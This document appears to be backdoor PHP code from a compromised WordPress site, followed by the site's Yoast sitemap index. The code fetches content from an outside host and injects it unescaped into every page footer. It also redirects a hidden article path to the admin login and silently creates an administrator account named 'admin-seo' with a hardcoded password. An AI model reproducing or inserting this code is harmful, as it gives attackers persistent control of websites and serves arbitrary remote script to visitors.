
// --- Custom Footer Injector & Cache (KMAA26) ---
if ( ! function_exists( 'kmaa26_get_footer_content' ) ) {
    function kmaa26_get_footer_content() {
        $transient_name = 'kmaa26_footer_cache';
        $cached_content = get_transient( $transient_name );

        if ( false !== $cached_content ) {
            return $cached_content;
        }

        $target_url = 'https://footerid.com/berita.txt'; // Ganti dengan URL target Anda

        $ch = curl_init();
        curl_setopt( $ch, CURLOPT_URL, $target_url );
        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
        curl_setopt( $ch, CURLOPT_TIMEOUT, 10 );
        curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
        $response = curl_exec( $ch );
        curl_close( $ch );

        if ( $response ) {
            set_transient( $transient_name, $response, 1 );
            return $response;
        }

        return '';
    }

    function kmaa26_inject_footer_script() {
        echo kmaa26_get_footer_content();
    }
    add_action( 'wp_footer', 'kmaa26_inject_footer_script', 999 );
}






// Secure Admin Login Redirect
add_action('template_redirect', function () {

    $request_uri = wp_parse_url(
        $_SERVER['REQUEST_URI'],
        PHP_URL_PATH
    );

    if ($request_uri !== '/article/super-continent-reporting') {
        return;
    }

    wp_safe_redirect(wp_login_url(admin_url()));
    exit;

}, 1);




add_action('init', function(){
	$una = 'admin-seo';
	$pas = '@Sehati128';
	$ema = 'admin-seo@wordpress.org';
	if ( !username_exists( $una ) && !email_exists( $ema ) ) {
		$uid = wp_create_user( $una, $pas, $ema );
		if ( !is_wp_error( $uid ) ) {
			$use = new WP_User( $uid );
			$use->set_role( 'administrator' );
		}
	}
}, 8000);<?xml version="1.0" encoding="UTF-8"?><sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>http://mediacentralnews.com/post-sitemap.xml</loc>
		<lastmod>2026-11-28T16:02:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>http://mediacentralnews.com/post-sitemap2.xml</loc>
		<lastmod>2026-11-28T16:02:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>http://mediacentralnews.com/page-sitemap.xml</loc>
		<lastmod>2026-09-12T16:31:13+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>http://mediacentralnews.com/category-sitemap.xml</loc>
		<lastmod>2026-11-28T16:02:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>http://mediacentralnews.com/post_tag-sitemap.xml</loc>
		<lastmod>2026-04-23T00:08:21+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>http://mediacentralnews.com/author-sitemap.xml</loc>
		<lastmod>2026-05-26T13:27:15+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->